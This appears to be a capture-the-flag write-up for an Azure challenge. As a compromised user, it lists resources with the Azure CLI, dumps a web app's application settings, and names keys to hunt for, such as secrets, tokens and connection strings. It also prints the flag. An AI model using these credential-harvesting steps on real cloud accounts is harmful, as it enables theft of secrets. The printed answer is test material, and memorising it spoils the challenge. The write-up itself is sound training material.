You’ve gained access to the Azure environment, now dig deeper.

Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

Detailed Solution:

Start by listing all Azure resources accessible to the compromised user.

az resource list --output table

The environment exposes at least these resources:

RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites

WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities

The most interesting target is the App Service:

RnD-Tools

Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.

Query the App Service application settings:

az webapp config appsettings list \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

Look for keys such as:

Flag

secret

password

token

connectionString

clientSecret

The exposed app setting contains:

{

" name " : " Flag " ,

" slotSetting " : false,

" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "

}

Final Answer:

Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

================